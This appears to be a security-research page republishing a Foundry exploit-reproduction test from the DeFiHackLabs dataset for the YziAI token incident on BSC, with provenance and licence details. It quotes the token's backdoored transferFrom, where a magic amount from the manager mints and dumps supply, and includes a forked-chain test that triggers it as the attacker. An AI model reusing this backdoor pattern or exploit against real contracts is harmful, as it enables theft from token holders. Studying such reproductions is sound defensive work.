Public reproduction file
src/test/2025-03/YziAIToken_exp.sol
Public reproduction file for dataset entry YziAI.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.0;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~ 376 BNB8// Attacker : https://bscscan.com/address/0x63fc3ff98de8d5ca900e68e6c6f41a7ca949c4539// Attack Contract :10// Vulnerable Contract : https://bscscan.com/address/0x7fdff64bf87bad52e6430bda30239bd182389ee311// Attack Tx : https://bscscan.com/tx/0x4821392c0b27a4acc952ff51f07ed5dc74d4b67025c57232dae44e4fef1f30e813// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x7fdff64bf87bad52e6430bda30239bd182389ee3#code15/*16function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {17 if(msg.sender == manager && amount == 1199002345) {18 _mint(address(this), supply * 10000);19 _approve(address(this), router, supply * 100000);21 path.push(address(this));22 path.push(IUniswapV2Router02(router).WETH());24 IUniswapV2Router02(router).swapExactTokensForETH(25 balanceOf(to) * 1000,26 1,27 path,28 manager,29 block.timestamp + 1e1030 );31 return true;32 }33 // ...34}35 */37// @Analysis38// Post-mortem : N/A39// Twitter Guy : https://x.com/TenArmorAlert/status/190552852578580502740// Hacking God : N/A42address constant wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;43address constant CAKE_LP = 0xb53C43dEbCdB1055620d17D0d3aE3cc63eCe0919;44address constant YziAI = 0x7fDfF64Bf87bad52e6430BDa30239bD182389Ee3;46contract YziAIToken_exp is BaseTestWithBalanceLog {47 address attacker = 0x63FC3fF98De8d5cA900e68E6c6F41a7CA949c453;48 uint256 blocknumToForkFrom = 47_838_545 - 1;50 function setUp() public {51 vm.createSelectFork("bsc", blocknumToForkFrom);52 // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit53 // fundingToken = BSC_USD;55 vm.label(attacker, "Attacker");56 vm.label(wBNB, "WBNB");57 vm.label(YziAI, "YziAI");58 vm.label(CAKE_LP, "0xc355_Cake-LP");59 }61 function testExploit() public {62 emit log_named_decimal_uint("BNB balance before attack", attacker.balance, 18);63 vm.startPrank(attacker);64 IERC20(YziAI).transferFrom(CAKE_LP, CAKE_LP, 1_199_002_345);65 vm.stopPrank();66 emit log_named_decimal_uint("BNB balance after attack", attacker.balance, 18);67 }68}Analysis
Dataset entry
Public Foundry test for “YziAI” (2025-03-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-03/Alkimiya_io_exp.solSame month in the dataset · 145 lines
- src/test/2025-03/BBXToken_exp.solSame month in the dataset · 128 lines
- src/test/2025-03/DCFToken_exp.solSame month in the dataset · 184 lines
- src/test/2025-03/DUCKVADER_exp.solSame month in the dataset · 82 lines
- src/test/2025-03/H2O_exp.solSame month in the dataset · 163 lines
- src/test/2025-03/LeverageSIR_exp.solSame month in the dataset · 258 lines
- src/test/2025-03/PTM_exp.solSame month in the dataset · 103 lines
- src/test/2025-03/Pump_exp.solSame month in the dataset · 130 lines
- src/test/2025-03/RnsPay_exp.solSame month in the dataset · 157 lines
- src/test/2025-03/SBRToken_exp.solSame month in the dataset · 80 lines
- src/test/2025-03/StackMarket_exp.solSame month in the dataset · 136 lines
- src/test/2025-03/UNI_exp.solSame month in the dataset · 111 lines
- src/test/2025-03/unverified_3f27_exp.solSame month in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame month in the dataset · 129 lines
- src/test/2025-03/wKeyDAO_exp.solSame month in the dataset · 160 lines
- src/test/2025-03/ZeroExSettler_exp.solSame month in the dataset · 110 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x63fc3ff98de8d5ca900e68e6c6f41a7ca949c453
- Attack Contract
0x7fdff64bf87bad52e6430bda30239bd182389ee3
- Vulnerable Contract
0x7fdff64bf87bad52e6430bda30239bd182389ee3
- Attack Tx
0x4821392c0b27a4acc952ff51f07ed5dc74d4b67025c57232dae44e4fef1f30e8
- Twitter: https://x.com/TenArmorAlert/status/1905528525785805027
- Explorer: https://bscscan.com/address/0x63fc3ff98de8d5ca900e68e6c6f41a7ca949c453
- Explorer: https://bscscan.com/address/0x7fdff64bf87bad52e6430bda30239bd182389ee3
- Explorer: https://bscscan.com/address/0x7fdff64bf87bad52e6430bda30239bd182389ee3#code
File record
- Name
- YziAI
- Path
- src/test/2025-03/YziAIToken_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- b51f021252680ad7ed437f2b096e8db5280819c4
- Language
- Solidity
- Size
- 69 lines
- Date
- 2025-03-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-03/YziAIToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b51f021252680ad7ed437f2b096e8db5280819c4, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.